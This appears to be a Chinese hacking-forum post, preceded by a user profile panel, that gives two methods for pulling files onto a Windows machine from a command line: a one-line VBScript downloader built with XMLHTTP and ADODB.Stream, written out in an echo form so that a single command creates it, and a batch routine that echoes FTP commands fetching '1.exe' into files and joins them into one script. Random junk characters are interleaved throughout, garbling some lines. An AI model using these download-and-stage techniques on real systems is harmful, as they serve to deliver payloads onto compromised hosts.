- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
9 ], E8 J1 H6 t+ L$ U9 M8 k4 W1.iget.vbs一次写入 " W6 K3 c. a6 {: B1 [
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
. X2 V/ ~2 L8 P7 \/ ]# s# e8 n% Y. J/ s3 e! j4 ]
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 ! ]: n7 u, ?0 O5 B+ b' ?
4 k8 B( [/ d' W这样我们可以一次echo成功,echo版本: ' M' M8 l1 U, z
+ |0 Y$ u% l1 F, qecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs 1 ~( c5 W1 N# S6 S X# e0 w
$ V- B! W3 ]( y/ _) ?
: L! s6 G3 V7 ~5 M' K+ B2.bat调用ftp脚本的写法(by envymask)
4 J- b; d+ _/ C% d8 l* y; _4 s1 X9 }% t; H/ B0 |3 V# o& x/ V
echo ftp>1.vbs . F( [+ R' F* J
echo open ip>2.vbs 2 @. U: \6 W4 u
echo u>3.vbs 7 y0 n" k8 d( i) D
echo s>4.vbs
' d/ H4 C' T1 @* f5 a+ j, Lecho binary>5.vbs
+ k0 N( A- R9 o* eecho get 1.exe>6.vbs
l) X( O2 }) t# d) hecho bay>7.vbs , q9 b& |' n/ G7 {
. ] W' i9 ?8 i
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
: _6 q1 G3 t6 v</P> |
zan
|